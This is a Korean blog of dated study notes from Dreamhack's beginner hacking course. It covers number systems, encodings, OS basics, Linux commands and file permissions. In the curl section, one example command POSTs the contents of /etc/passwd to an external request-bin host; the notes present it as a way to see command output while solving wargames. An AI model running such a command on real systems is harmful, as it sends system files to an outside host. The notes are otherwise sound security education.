본문 바로가기
공부/비기너즈

DH101(1)

by suyeon27 2023. 12. 30.
출처 : 해커들의 놀이터, Dreamhack. https://dreamhack.io/
  • 공부한 내용 요약정리

(2023-12-30)

연말파티

 

(2023-12-31)

🚩컴퓨터 과학 기초

컴퓨터 과학(Computer Science) : 컴퓨터를 이용한 모든 작업과 그 기반 이론을 연구하는 학문

이는 코딩뿐만 아니라 계산 이론, 알고리즘, 소프트웨어 설계, 네트워크 등 광범위한 영역을 포함합니다.

 

해킹 : 이러한 컴퓨터 과학 지식을 응용하여 프로그램이나 시스템의 취약점을 발견하고 공격하는 행위

따라서 컴퓨터 시스템, 네트워크, 프로그래밍 언어, 운영 체제 등의 컴퓨터 과학 지식이 요구됩니다.

 

컴퓨터 과학에 대한 기본적인 지식 없이는 해킹을 효과적으로 수행하는 것은 불가능합니다.

해킹과 컴퓨터 과학이 밀접하게 연관되어 있음을 기억하고, 차근차근 공부해 나가기

 

진법 : 임의의 숫자 혹은 문자를 사용하여 수를 표현하는 체계

2진수를 표현할 때는 보통 0b라는 접두어를 붙입니다.

2진수 4자리는 16진수 한 자리로 축약하여 표현할 수 있습니다. ex) 0b1100 => 0xC

 

16진수를 표현할 때는 보통 0x라는 접두어를 붙입니다.

일반적으로 메모리의 위치를 나타내는 주소값을 16진수 형태로 출력

해킹을 공부하다 보면 16진수 형태의 데이터를 접하는 일이 굉장히 빈번하기 때문에 익숙해지기

 

비트와 바이트 : 컴퓨터의 데이터를 다루는 데 가장 기본이 되는 개념

컴퓨터에서 사용하는 데이터의 최소 단위 : 1 비트(bit, binary digit)

메모리에 저장되는 최소 단위이자 8개의 비트로 구성된 더 큰 단위 : 1 바이트(byte)

 

1 바이트는 2의 8승 = 256가지의 수를 표현할 수 있습니다.

10진수로 0~255, 2진수로 00000000~11111111, 16진수로 00~FF까지 나타냅니다.

 

(2024-01-01)

여러 개의 비트로 구성된 이진 데이터에서 가장 왼쪽에 있는 비트 : Most Significant Bit (MSB, 최상위 비트)

가장 오른쪽에 있는 비트 : Least Significant Bit (LSB, 최하위 비트)

 

부호가 있는 데이터의 경우, MSB 부호의 의미를 가지게 됩니다. MSB가 0이면 양수, 1이면 음수를 나타냅니다.

 

프로그래밍 언어에서 부호(+, -)를 가지는 데이터는 Signed 데이터 또는 부호가 있는 데이터라 부르고,

부호없이 양수(+)만 나타내는 데이터는 unsigned 데이터 또는 부호가 없는 데이터라 부릅니다.

 

0b10010100가 부호가 있는 데이터라면, MSB가 1이기 때문에 10진수로 표현하면 음수인 -108이 됩니다.

반면에 부호가 없는 데이터라면, MSB인 1은 부호를 의미하지 않고, 값을 의미하므로 양수인 148이 됩니다.

 

(2024-01-02)

2 바이트 이상의 데이터는 메모리에 연속적으로 저장됩니다.

이때 각 바이트가 메모리에 정렬되는 방식을 바이트 오더링(Byte ordering)이라고 부릅니다.

바이트 오더링은 비트의 순서가 아니라 바이트의 순서를 고려하는 것으로,

바이트 내 비트의 순서는 동일하고 바이트의 순서만 달라집니다.

 

바이트 오더링의 두 가지 방식

1. 빅 엔디안(Big Endian) : 가장 왼쪽에 있는(큰) 바이트부터 메모리의 낮은 주소에 저장됩니다.

SPARC CPU에서 빅 엔디안 사용

2. 리틀 엔디안(Little Endian) :  가장 오른쪽에 있는(작은) 바이트부터 메모리의 낮은 주소에 저장됩니다.

Intel의 x86, x86-64 CPU에서 리틀 엔디안 사용

 

정교함과 정확함이 필수인 해킹 분야에서 데이터가 어떤 바이트 오더링으로 메모리에 저장되었는지

고려하는 것은 기본 중에 기본입니다.

문자열을 메모리에 저장할 때는 바이트 오더링을 고려하지 않습니다.

 

 

비트 연산 : 피연산자를 2진수로 표현하여 비트(bit) 단위로 연산하는 것

비트 단위로 논리 연산을 수행하거나, 비트를 특정 값만큼 이동하는 시프트(shift) 연산을 수행합니다.

 

비트 연산자

x ^ y 두 비트가 같으면 결과는 0, 다르면 결과는 1입니다. (XOR)
~x 비트가 0이면 결과는 1, 1이면 결과는 0으로 모든 비트를 반전시킵니다. (NOT)

 

시프트 연산자

비트를 특정 값만큼 왼쪽 혹은 오른쪽으로 이동합니다. n만큼 시프트한 결과는 2n으로 곱하거나 나눈 값과 같습니다.

x << n 비트를 n만큼 왼쪽으로 이동합니다.
오른쪽 빈 칸은 모두 0으로 채웁니다.
== x * 2n
x >> n
(산술 시프트)
비트를 n만큼 오른쪽으로 이동합니다.
왼쪽 빈 칸은 가장 왼쪽에 있던 비트(MSB)와 동일한 비트 값으로 채웁니다.
(양수는 양수, 음수는 음수로 부호가 유지됩니다.)
== x / 2n
x >>> n
(논리 시프트)
비트를 n만큼 오른쪽으로 이동합니다.
왼쪽 빈 칸은 모두 0으로 채웁니다.
(음수는 부호가 유지되지 않습니다.)

 

 

(2024-01-03)

비트 마스킹(Bit Masking) : 어떤 데이터가 존재할 때, 특정 위치의 비트만 표시하거나 가리는 연산

AND 연산과 시프트 연산을 함께 활용하면 특정 위치의 비트를 가져올 수 있습니다. 

 

두 변수에 저장된 값끼리 XOR 연산하여 결과가 0인지 확인하면 두 값이 같은지 비교할 수 있습니다.

더 나아가서, 같은 값에 어떤 값을 2번 XOR 하면 원래의 값과 동일해진다는 특성을 이용할 수도 있습니다.

예를 들어 x ^ y를 수행한 결과가 z일 때, z ^ y = x ^ y ^ y = x 입니다.

이러한 특성을 기반으로, y를 key로 설정하면 간단한 암호화, 복호화가 가능합니다.

 

곱셈이나 나눗셈 연산자 대신 시프트 연산자를 사용하여 간단한 산술 연산을 수행할 수 있습니다.

시프트 연산자를 사용하면 비트 레벨에서 연산을 하므로 더 효율적이고 속도가 빠릅니다.

 

 

인코딩(Encoding) : 데이터를 특정한 형식으로 변환하는 것

데이터의 크기를 줄이거나, 컴퓨터가 이해하기 쉽게 변환할 때 사용합니다.

인코딩된 데이터는 디코딩(Decoding)하여 원래의 값을 구할 수 있습니다.

 

인코딩은 누구나 표준화된 방식을 사용해서 디코딩하여 원문을 구할 수 있다. ex) 압축

인코딩은 컴퓨터가 데이터를 효율적으로 다루도록 중요한 역할을 수행합니다. 

 

그만큼 해킹을 공부하다 보면 웹, 시스템, 네트워크 등 모든 분야에서 인코딩이 중요하다는 것을 알 수 있습니다.

어떤 인코딩된 데이터의 생김새를 보고 인코딩 방식을 유추하여 직접 디코딩해서 원문으로부터 단서를

얻어야 하는 경우도 있습니다. 이를 위해 자주 쓰이는 인코딩 방식과 각각의 형태를 알고 있으면 좋습니다.

 

(2024-01-04)

컴퓨터는 0과 1만을 이용하여 정보를 처리하고 표현합니다.

우리가 입력하는 모든 글자가 0과 1로 변환되려면 숫자로 표현되어야 합니다.

 

아스키 코드(American Standard Code for Information Interchange, ASCII)

: 정보 교환을 위한 미국 표준 코드.

문자를 숫자로 변환하는 문자 인코딩(character encoding)의 표준입니다.

 

아스키 문자 1개는 1 바이트 크기로, 7 비트로 문자를 표현하고 1 비트는 오류 체크를 위해 사용합니다.

따라서 27=128가지의 문자 표현이 가능하며, 각 문자는 0~127까지의 10진수 값을 가집니다.

 

https://bfotool.com/ko/ascii-hex-binary-decimal-converter

 

ASCII 텍스트, 16진수, 2진수, 10진수 변환기

이 무료 온라인 도구를 사용하면 ASCII, 16진수, 2진수, 10진수 변환기를 사용할 수 있습니다. 소프트웨어를 다운로드하거나 설치할 필요가 없습니다. 지금 파일을 변환하려면 클릭하세요.

bfotool.com

 

유니코드(Unicode) : 영어 뿐만 아니라, 전세계 모든 언어의 문자에 고유한 번호를 부여하는 국제 표준 코드

아스키 코드보다 용량을 크게 확장하여 최대 32 비트로 문자 1개를 표현하여,

현재 143000개 이상의 문자를 표현할 수 있습니다.

 

유니코드의 처음 128개 문자는 아스키 코드의 문자와 정확히 일치합니다.

즉, 유니코드 안에 아스키 코드가 포함된다고 볼 수 있습니다. 유니코드 값은 U+ 뒤에 16진수를 붙여 나타냅니다.

 

UTF-8, UTF-16, UTF-32 등 유니코드를 사용하는 다양한 인코딩 형식이 존재합니다.

이는 컴퓨터가 어떤 문자를 어떻게 읽어야 하는지 미리 정해줍니다.

UTF 뒤의 숫자는 비트를 의미합니다.

 

가장 일반적으로 사용되는 UTF-8은 1~4 바이트의 가변적인 크기로 문자 1개를 표현하는 방식으로,

아스키 코드와 유사합니다. 현재 컴퓨터로 볼 수 있는 글자는 대부분 UTF-8로 인코딩된 값입니다.

 

URL 인코딩  : 웹 브라우저로부터 받은 URL 문자열을 유효한 형식으로 변환하는 것

URL 인코딩을 통해 문자열을 인터넷으로 전송 가능한 형식으로 변환합니다.

 

이를 통해 전송 중에 문자가 수정되거나 의도와 다르게 해석되는 것을 막을 수 있습니다.

허용되지 않는 문자, 즉 인코딩이 필요한 특수문자는 :/?#[]@!$&'()*+,;=%공백입니다.

 

URL 인코딩은 % 기호 뒤에 해 문자의 아스키 코드 16진수 값을 붙여 나타냅니다.

URL에 공백이 포함되는 경우 + 기호 혹은 %20으로 변환됩니다.

 

(2024-01-05)

base64 인코딩 : 이진 데이터를 아스키 문자로 구성된 텍스트로 변환하는 인코딩 방식

총 64개의 아스키 문자가 인코딩에 사용되기 때문에 64진법(Base 64)라는 의미에서 이러한 이름이 붙여졌습니다.

 

64개의 아스키 문자는 알파벳 대소문자(52자), 숫자(10자), +, / 입니다.

base64 인코딩은 이진 데이터를 그대로 포함할 수 없이 텍스트만 허용되는 환경에서 이진 데이터를 텍스트 형식으로

나타내기 위해 사용합니다.

 

base64 인코딩 방식

  1. 원본 이진 데이터를 비트 나열로 표현하고, 이를 6 비트씩 끊어서 묶습니다. 만약 비트의 개수가 6의 배수가 아닐 경우, 0을 뒤에 추가하여 6의 배수로 만듭니다.
  2. 각 6 비트 묶음을 수로 변환한 뒤, base64 테이블에서 해당하는 문자를 찾아 이로 치환합니다.
  3. 이렇게 치환 과정을 거친 뒤, 글자 수가 4의 배수가 되도록 문자 '='를 반복해 뒤에 추가합니다. => 패딩(Padding)

https://www.base64decode.org/

 

Base64 Decode and Encode - Online

Decode from Base64 format or encode into it with various advanced options. Our site has an easy to use online tool to convert your data.

www.base64decode.org

 

응용 프로그램(웹 브라우저, 엑셀, 메모장)의 동작을 수행하고, 응용 프로그램에게 시스템 자원을 할당하는 등의 복잡한

관리 작업은 사용자가 아니라 운영체제(Operating System, OS)라는 소프트웨어에 의해 이루어집니다.

 

사용자 및 응용 프로그램은 컴퓨터 하드웨어(CPU, 메모리, 입출력 장치 등)에 직접 접근하지 않습니다.

대신 운영체제가 하드웨어와 사용자/응용 프로그램 사이에서 중재자 역할을 합니다. 

 

(2024-01-06)

운영체제는 컴퓨터 과학에서 매우 중요하고 공부할 내용이 많은 주제

 

운영체제가 하는 일

CPU, 메모리, 입출력 장치(키보드, 마우스, 디스크) 등의 하드웨어 자원을 효율적으로 사용할 수 있도록 분배,

할당하여 성능을 높입니다.

 

1. 실행중인 프로그램, 즉 프로세스에 CPU를 번갈아 할당해야 하는데,

이때 어떤 프로세스에 CPU를 할당할지 결정합니다. (CPU 스케줄링)

2. 메모리 공간을 각 프로세스에 분배하고 사용하는 과정을 관리합니다.

3. 컴퓨터가 입출력 장치와 정보를 주고 받는 과정을 관리합니다.

 

만약 운영체제가 없다면 사용자가 하드웨어를 직접 관리해야 합니다.

운영체제 덕분에 사용자는 컴퓨터를 보다 편리하게 사용할 수 있습니다.

 

운영체제는 사용자와 컴퓨터 사이 인터페이스 역할도 합니다. 사용자가 컴퓨터에 명령을 내릴 수 있도록 하는데,

이는 다음으로 소개할 의 기능입니다.

 

운영체제는 크게 커널 로 나눌 수 있습니다.

커널(Kernel, 알맹이) : 운영체제의 핵심 기능인 하드웨어 관리를 실제로 수행하는 프로그램

커널은 소프트웨어와 하드웨어 간의 커뮤니케이션을 관리하며,

시스템이 부팅될 때 메모리에 올라가서 꺼질 때까지 실행됩니다.

 

셸(Shell, 껍질) : 사용자와 운영체제의 커널 사이에서 사용자가 운영체제에 명령을 내릴 수 있도록 인터페이스 역할

사용자가 셸에 명령을 입력하면, 셸이 명령어를 해석하여 커널에 요청합니다.

커널은 명령을 수행하며 하드웨어를 조작하고, 수행 결과를 셸에 전송합니다.

셸은 이 결과를 해석하여 사용자에게 출력해 줍니다.

즉, 셸은 명령어를 해석하는 역할을 하여 사용자와 운영체제가 소통할 수 있도록 합니다.

셸을 획득하면 명령어를 통해 원하는 작업을 수행하고 시스템을 제어할 수 있게 됩니다.

따라서 일반적으로 셸을 획득하는 것을 시스템 해킹의 성공으로 여깁니다.

사용자, 응용 프로그램
커널
하드웨어 (CPU, 메모리, 입출력 장치 등)

 

운영체제 종류

운영체제는 크게 Windows 운영체제와 UNIX/Linux 계열 운영체제로 나눌 수 있습니다.

 

Windows : 마이크로소프트사에서 개발한 운영체제

Graphical User Interface (GUI) 기능을 제공하여 사용자가 편리하게 사용할 수 있습니다.

 

UNIX : 벨 연구소에서 개발한 운영체제

대부분의 운영체제는 UNIX로부터 발전된 기술을 사용하고 있습니다.

사용자가 키보드로 입력하는 명령에 의해 조작되는 Character User Interface (CUI) 기반의 대화식 운영체제입니다.

UNIX가 개발된 이후, 리누스 토발즈(Linus Benedict Torvalds)가 UNIX 기반의 Linux 운영체제를 개발했습니다.

 

Linux : 소스 코드를 공개하여 누구나 수정하고 재배포할 수 있는 오픈소스 프로그램

많은 사람에 의해 계속해서 발전하고 있습니다. Linux 역시 CUI 기반의 운영체제입니다.

Linux를 기반으로 Ubuntu, CentOS 등의 다양한 버전이 존재하며, 드림핵 강의에서는 Ubuntu Linux를 사용합니다.

UNIX 기반의 또 다른 운영체제로는 애플에서 개발한 GUI 기반 운영체제 macOS,

스마트폰을 많이 사용하는 현대인에게 친숙한 모바일 운영체제 Android iOS가 있습니다.

 

마치며, 해킹은 컴퓨터에 대한 이해와 기술적 지식이 필요한 분야인 만큼 깊게 파고들면 파고들수록 컴퓨터 과학에 대해

더 깊게 이해해야 합니다. 

 

 

(2024-01-07)

🚩리눅스 사용법

셸은 유저가 리눅스 시스템을 이용할 수 있는 인터페이스입니다.

셸은 유저에게 입력을 받고 운영체제가 그것을 프로그램으로 처리하면 그 결과를 유저에게 출력합니다.

 

1. ctrl + alt + T 단축키를 눌러 터미널을 실행

2. bash가 실행되면 아래와 같은 텍스트가 출력됩니다.

user@user-VirtualBox:~$

이것을 셸 프롬프트라고 부릅니다. 유저는 셸 프롬포트를 보고 셸이 명령어를 입력 받을 준비가 되었음을 알 수 있습니다.

3. id 명령어를 실행

id : 현재 유저의 유저 ID와 해당 유저가 속해 있는 그룹 ID를 보여주는 명령어

 

(2024-01-08)

셸을 사용하여 리눅스를 이용하기 위해 필요한 기초적인 명령어들

1. sudo apt update : apt 명령어로 설치 가능한 소프트웨어 패키지 목록을 업데이트합니다.

2. sudo apt upgrade : 리눅스에 설치된 소프트웨어 패키지의 버전을 업그레이드합니다.

3. id : 현재 유저의 유저 ID와 해당 유저가 속해있는 그룹 ID를 출력합니다. 리눅스는 권한을 기반으로 파일을 읽고 쓰고

실행할 수 있기 때문에 주로 자신이 해당하는 권한을 가지고 있는지 확인하기 위해 사용하는 명령어입니다.

4. pwdPrint Working Directory의 줄임말로 현재 작업 중인 디렉토리의 경로를 출력합니다. 

5. ls List의 줄임말로 디렉토리의 내용을 출력하는 명령어입니다.

ls -l 을 실행하면 다음과 같이 더 자세한 정보를 함께 출력합니다.

현재 디렉토리 뿐만 아니라 임의 디렉토리의 내용을 출력하는 것도 가능합니다.

ex) ls -l /

(2024-01-09)

6. cd : Change Directory의 줄임말로 작업중인 디렉토리를 변경하는 명령어입니다.

절대 경로 : 루트 디렉토리 / 를 시작으로 모든 경로를 적어서 표현하는 경로. /home/user 도 절대 경로 입니다.

상대 경로 : 현재 디렉토리를 기준으로 상위 디렉토리 또는 하위 디렉토리로 뻗어 나가는 경로.

예를 들어 cd .. 는 현재 디렉토리에서 부모 디렉토리로 이동합니다.

가령 현재 디렉토리가 /home/user 일 때 cd .. 를 실행하면 /home 으로 이동합니다.

몇 가지 특별히 정해진 고유한 경로도 있습니다.

예를 들어 ~ 는 현재 유저의 홈 디렉토리이며, - 는 이전에 위치했던 디렉토리를 나타냅니다.

7. mkdir : Make Directory의 줄임말로 디렉토리를 생성하는 명령어입니다.

8. touch : 비어 있는 새로운 파일을 만드는 데 사용합니다.

9. mv : Move의 줄임말로 파일이나 디렉토리의 위치를 옮길 때 사용하는 명령어입니다.

파일이나 디렉토리의 이름을 변경할 때에도 사용할 수 있습니다.

10. rm : Remove의 줄임말로 파일이나 디렉토리를 삭제하는 명령어입니다.

디렉토리 삭제 -r 플래그를 추가한 rm -r 로 수행할 수 있습니다.

11. cat : 파일의 내용을 출력하는 명령어입니다. cat 파일경로 형식으로 사용할 수 있습니다.

/etc/passwd 파일은 운영체제에 접근할 수 있는 유저 목록을 담고 있습니다.

12. file : 파일의 유형을 출력하는 명령어입니다. file 파일경로 형식으로 사용할 수 있습니다.

/bin/ls 파일은 ls 명령어를 입력하면 실행되는 실행 파일입니다.

13. echo : 셸에 유저가 입력한 텍스트를 출력합니다.

echo 명령어를 사용해서 파일을 생성할 수도 있습니다.

14. cp : Copy의 줄임말로 파일이나 디렉토리를 복사하는 명령어입니다.

디렉토리를 복사할 때는 -r 플래그를 붙인 형태인 cp -r 을 사용합니다.

(2024-01-10)

15. grep : 전체에서 특정 문자열을 찾을 때 사용합니다. 

grep 문자열 파일 형식으로 사용할 수 있습니다.

grep root /etc/passwd : /etc/passwd 파일에서 root 문자열이 포함된 행을 출력

16. man : Manual의 줄임말로 특정 명령어의 매뉴얼을 보여주는 명령어입니다.

매뉴얼은 명령어 사용법, 옵션, 예제 등 유용한 정보를 담고 있습니다.

man cp 명령어 실행 결과 : cp 명령어의 매뉴얼을 보여줍니다.

17. curl : client URL의 줄임말로 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어입니다. 

curl [옵션] URL 형식으로 사용할 수 있으며, HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원합니다.

curl 명령어의 주요 옵션

  • -o file : 전송 받은 데이터를 파일에 저장
  • -i : 결과 값에 HTTP 응답 헤더를 포함
  • -X "method" : HTTP 요청 메소드를 지정
  • -d "key=value" : HTTP POST 메소드로 데이터를 전송

curl 은 워게임 문제를 풀 때도 유용하게 사용됩니다. 예를 들어 풀이자가 명령어 실행 결과를 볼 수 없는 경우,

결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능합니다.

다음은 서버 내 /etc/passwd 파일을 https://hmqtzgx.request.dreamhack.games에 POST 데이터로 전송하는 예시입니다.

$ curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"

 

와일드카드(wildcards) : 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자들을 의미합니다.

주로 명령어를 다른 문자열로 대체하기 위해 사용합니다.

? : a-z, 0-9 범위 내 임의의 1개 문자로 대체됩니다.

* : a-z, 0-9 범위 내 임의의 0개 이상 문자로 대체됩니다.

[] : [문자1-문자2] 혹은 [문자1, 문자2, …] 형태로 범위를 지정합니다. 범위 내 모든 문자로 대체될 수 있습니다.

ls test[0-9] : 파일명이 test 로 시작하고 마지막이 숫자인 파일을 모두 출력하는 모습

 

(2024-01-11)

리다이렉션(redirection) : 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경하는 작업 주로 어떤 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력으로 전달하는 형태로 리다이렉션합니다.

$ ls test[0-9] > world

ls test[0-9] 명령어 결과를 world 파일에 쓰는 예시

$ cat hello >> world

 cat hello 명령어 결과를 world 파일에 쓰는 예시

$ grep test < world

world 파일 내용을 표준 입력으로 받아 grep test 명령어를 수행하는 예시

 

(2024-01-12)

파이프(pipe) : 리다이렉션의 한 형태로, 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용합니다.

파이프는 | 문자로 나타냅니다. 

 

리눅스에서 유저 그룹 리눅스의 권한 시스템을 설명하기 위해 빠뜨릴 수 없는 개념입니다.

리눅스의 각 유저는 이름과 고유한 사용자 ID(UID) 를 가지고 있습니다. 

그룹은 말 그대로 여러 유저가 속할 수 있는 그룹으로, 이 역시 그룹 이름과 고유한 그룹 ID(GID) 를 가지고 있습니다.

 

파일이나 디렉토리와 같은 시스템 자원에 유저가 접근하면

유저의 UID와 해당 유저가 속한 그룹의 GID를 확인하여 정당한 권한을 가지고 있는지를 판단해 접근을 제어합니다.

 

/etc/passwd : 리눅스의 유저 정보를 담고 있는 텍스트 파일

각 사용자의 이름, 사용자 ID, 속해있는 그룹 ID 등의 정보를 포함하고 있습니다.

cat 명령어로 /etc/passwd 파일의 내용을 확인할 수 있습니다.

/etc/group : 리눅스의 그룹 정보를 저장하는 텍스트 파일

각 그룹의 이름, 그룹 ID, 그룹에 속한 유저 목록 등의 정보를 포함하고 있습니다.

 

리눅스는 사용자가 파일과 디렉토리에 접근하는 행위에 대해 권한으로 제어합니다.

각 파일과 디렉토리는 소유자(owner)  소유 그룹(group) 을 가지고 있습니다.

 

소유자는 파일 또는 디렉토리의 권한을 수정할 수 있는 능력을 가지고 있습니다.

소유자는 이를 통해 소유자 또는 소유 그룹에 포함된 유저가 해당 파일 또는

디렉토리에 대해서 얼마만큼 접근 권한을 가질 것인지 설정할 수 있습니다.

 

다음과 같이 세 종류의 접근 권한이 있습니다.

  • 읽기(Read): 파일 또는 디렉토리의 내용을 볼 수 있게 허용합니다.
  • 쓰기(Write): 파일 또는 디렉토리의 내용을 수정하거나 삭제하는 것을 허용합니다.
  • 실행(Execute): 파일이 프로그램인 경우 실행할 수 있게 허용합니다. 디렉토리의 경우, 디렉토리의 내용에 접근할 수 있도록 허용합니다.

 

drwxrwxr-x 2 user user 4096 12월 2 13:38 dir

dir의 권한 플래그는 drwxrwxr-x이고, 소유자는 user이며 소유 그룹은 user 입니다.

 

(2024-01-13)

송도

 

(2024-01-14)

과제

 

(2024-01-15)

첫 번째 열 drwxrwxr-x : 권한 플래그

drwxrwxr-x 2 user user 4096 12월 2 13:38 dir

위 결과에서 첫 번째 열이 각 파일 또는 디렉토리의 권한 플래그를 나타냅니다.

권한 플래그는 다음과 같이 4개의 부분으로 나뉠 수 있습니다: d rwx rwx r-x

 

d rwx rwx r-x

먼저 위에서 bold 처리한 첫 번째 문자는 파일의 타입을 나타냅니다. 

d 는 디렉토리, - 는 일반 파일, l 은 바로가기와 같은 링크 파일을 나타냅니다.

그 다음 문자들은 권한 플래그입니다. 문자 3개씩 3개의 덩어리로 나뉩니다.

 

d rwx rwx r-x

위에서 bold 처리한 3개의 문자는 파일 또는 디렉토리의 소유자의 권한을 나타냅니다.

 

d rwx rwx r-x

위에서 bold 처리한 3개의 문자는 파일 또는 디렉토리의 소유 그룹에 포함된 유저들의 권한을 나타냅니다.

 

d rwx rwx r-x

위에서 bold 처리한 3개의 문자는 파일 또는 디렉토리의 소유자 및 소유 그룹에 포함된 유저들을 제외한, 

나머지 유저들의 권한을 나타냅니다.

 

  • r: 소유자(또는 소유 그룹에 포함된 유저들 또는 그외 유저)가 파일 또는 디렉토리에 읽기(Read) 권한을 가집니다.
  • w: 소유자(또는 소유 그룹에 포함된 유저들 또는 그외 유저)가 파일 또는 디렉토리에 쓰기(Write) 권한을 가집니다.
  • x: 소유자(또는 소유 그룹에 포함된 유저들 또는 그외 유저)가 파일 또는 디렉토리에 실행(Execute) 권한을 가집니다.

권한을 나타내는 3개 문자는 2진수나 10진수로도 표현이 가능합니다.

예를 들어 rwx 는 2진수로 111이며, 10진수로는 7입니다. r-- 은 2진수로 100이며, 10진수로는 4입니다.

 

세 번째 열 user : 소유자

drwxrwxr-x 2 user user 4096 12월 2 13:38 dir

위 결과에서 세 번째 열이 파일 또는 디렉토리의 소유자를 나타냅니다.

소유자는 파일 또는 디렉토리에 대한 제어권을 가지고 있습니다.

소유자는 파일 또는 디렉토리의 권한 플래그를 변경할 수 있고 파일의 소유자 또는 소유 그룹을 변경할 수도 있습니다. 위 dir 디렉토리의 소유자가 user 유저임을 알 수 있습니다.

네 번째 열 user : 소유 그룹

리눅스에는 여러 사용자를 하나의 집합으로 관리할 수 있는 그룹 기능이 있습니다. 

소유 그룹은 그룹 단위로 파일 또는 디렉토리에 권한을 부여할 때 사용합니다.

특정 파일 또는 디렉토리에 대한 접근 권한을 편리하게 그룹 단위로 부여하거나 제한할 수 있어 자주 활용되는 기능입니다.

 

- rwx rw- r--

  • 파일 타입을 나타내는 첫 번째 문자 - 이므로 world  일반 파일입니다.
  • 소유자 권한 플래그 rwx 이므로 user 유저는 world 파일을 읽고 쓰고 실행할 수 있습니다.
  • 소유 그룹 권한 플래그 rw- 이므로 user 그룹에 속한 유저들은 world 파일을 읽고 쓸 수는 있지만 실행할 수는 없습니다.
  • user 유저가 아니면서 user 그룹에 속하지 않은 유저들은 r-- 권한을 가지므로 world 파일을 읽을 수만 있고 쓰거나 실행할 수는 없습니다.

 

chmod는 파일 권한을 변경하는 명령어입니다. root 유저 혹은 파일의 소유자만 실행할 수 있습니다. 

chmod 권한 파일명 형식으로 사용합니다.

권한을 표현할 때는 권한 플래그를 10진수로 표현하거나 기존의 권한에 문자를 더하거나 뺍니다.

 

chmod 764 hello

소유자 권한은 rwx이므로 111=7, 소유 그룹 권한은 rw-이므로 110=6, 일반 유저 권한은 r--이므로 100=4입니다. 

 

chmod g+x hello

hello 파일 소유 그룹에 실행 권한을 부여하겠습니다.

다음과 같이 chmod g+x hello 명령어를 실행하면 권한이 변경됩니다.

권한을 제거하고 싶으면 chmod g-wx hello와 같은 형식으로 입력합니다.

 

chown은 파일 소유자 혹은 소유 그룹을 변경하는 명령어입니다. 

root 유저만 실행할 수 있습니다. chown 사용자명[.그룹명] 파일명 형식으로 사용합니다.

소유 그룹만 변경하고 싶은 경우 chgrp 명령어를 사용합니다.

 

sudo chown root hello

hello 파일의 소유자를 user에서 root로 변경하겠습니다. 명령어를 root 권한으로 실행하려면 맨 앞에 sudo를 붙여줍니다.

sudo chown root hello 명령어를 실행하면 소유자가 변경됩니다. 이제 user 유저는 hello 파일을 수정할 수 없습니다.

 

앞서 배운 r, w, x 권한 외에 특수한 권한 3가지를 소개하겠습니다.

  • setuid: 일반 사용자가 파일을 실행하면 파일 소유자 권한으로 실행됩니다. 예를 들어, /bin/passwd 파일은 소유자가 root이지만 setuid가 설정되어 있어 일반 사용자가 root 권한으로 실행하고 비밀번호도 변경할 수 있습니다. setuid는 소유자의 실행 권한에 x 대신 s 문자로 나타냅니다. 대문자 S로 표시되는 경우에는 setuid가 걸려 있으나, 실행 권한이 없는 경우입니다.

/bin/passwd의 권한 플래그는 다음과 같습니다. 소유자의 실행 권한이 s로 설정된 것을 볼 수 있습니다.

user@user-VirtualBox:/bin$ ls -l passwd

-rwsr-xr-x 1 root root 59976 11월 24 21:05 passwd

 

  • setgid: 일반 사용자가 파일을 실행하면 파일 소유 그룹 권한으로 실행됩니다. setgid는 소유 그룹의 실행 권한에 x 대신 s 문자로 나타냅니다. 마찬가지로 실행 권한이 없으나 setgid가 걸려 있는 경우 대문자 S로 표시됩니다.
  • sticky bit: 디렉토리에 sticky bit를 설정하면 파일 및 디렉토리 소유자와 root 사용자 외에 일반 사용자가 파일을 삭제할 수 없습니다. 주로 공용 디렉토리에 사용합니다. 일반 사용자의 실행 권한에 x 대신 t 문자로 나타냅니다. 이 역시 마찬가지로 실행 권한이 없는 경우에는 대문자 T로 표시됩니다.

 

특수 권한을 지정할 때는 권한 플래그 맨 앞에 숫자를 붙여 나타냅니다. 

setuid 4, setgid 2, sticky bit 1입니다.

 

chmod 4775 world

다음은 chmod 4755 world 명령어로 world 파일에 실행 권한과 setuid를 설정하는 모습입니다.

setuid만 설정하는 경우 chmod u+s world도 가능합니다.

setgid는 chmod g+s world, sticky bit는 chmod o+t world로 설정할 수 있습니다.

 

루트 디렉토리는 리눅스의 최상위 디렉토리를 말하며, 절대 경로는 / 입니다.

cd /; ls -l 또는 ls -l /를 실행하면 루트 디렉토리에 존재하는 파일과 디렉토리들을 볼 수 있습니다.

 

중요한 디렉토리들

/bin

일반 유저가 사용할 수 있는 기본적인 명령어나 프로그램을 담고 있는 디렉토리입니다.

/boot

시스템 부팅에 필요한 파일들을 담고 있는 디렉토리입니다.

/dev

리눅스에서는 컴퓨터에 부착된 물리적인 장치들을 디바이스 드라이버를 거쳐 파일 형태로 접근 가능합니다. 그러한 장치들을 나타내는 파일들을 담고 있는 디렉토리입니다.

/etc

운영체제나 운영체제 위에서 동작하는 서비스의 설정 파일들을 담고 있는 디렉토리입니다.

/home

각 일반 유저의 홈 디렉토리를 담고 있는 디렉토리입니다. 일반 유저들은 각기 자신만의 홈 디렉토리를 가지고 있습니다. 예를 들어 dream 유저의 홈 디렉토리는 /home/dream 입니다.

/lib

시스템에 필요한 라이브러리 파일들을 담고 있는 디렉토리입니다. /bin 이나 /sbin 에 존재하는 프로그램이 필요로 하는 동적 라이브러리 파일이 /lib 디렉토리에 존재합니다.

/opt

소프트웨어 패키지들을 담는 디렉토리입니다.

/proc

리눅스 커널 자원에 접근할 수 있는 파일과 프로세스를 나타내는 파일을 담고 있습니다.

/root

root 유저의 홈 디렉토리입니다.

/sbin

/bin 디렉토리와 마찬가지로 기본적인 유저 명령어나 프로그램을 가지고 있는 디렉토리입니다. /sbin은 root 유저가 사용할 수 있는 명령어나 프로그램을 가지고 있습니다.

/tmp

유저나 프로그램이 임시로 파일을 생성해야할 때 사용할 수 있는 디렉토리입니다. 본 디렉토리에 오래 존재했던 파일들은 자동으로 삭제되므로 주의하여 사용해야 합니다.

/usr

사용자 바이너리, 문서, 라이브러리, 헤더 파일 등을 담고 있는 디렉토리입니다.

/var

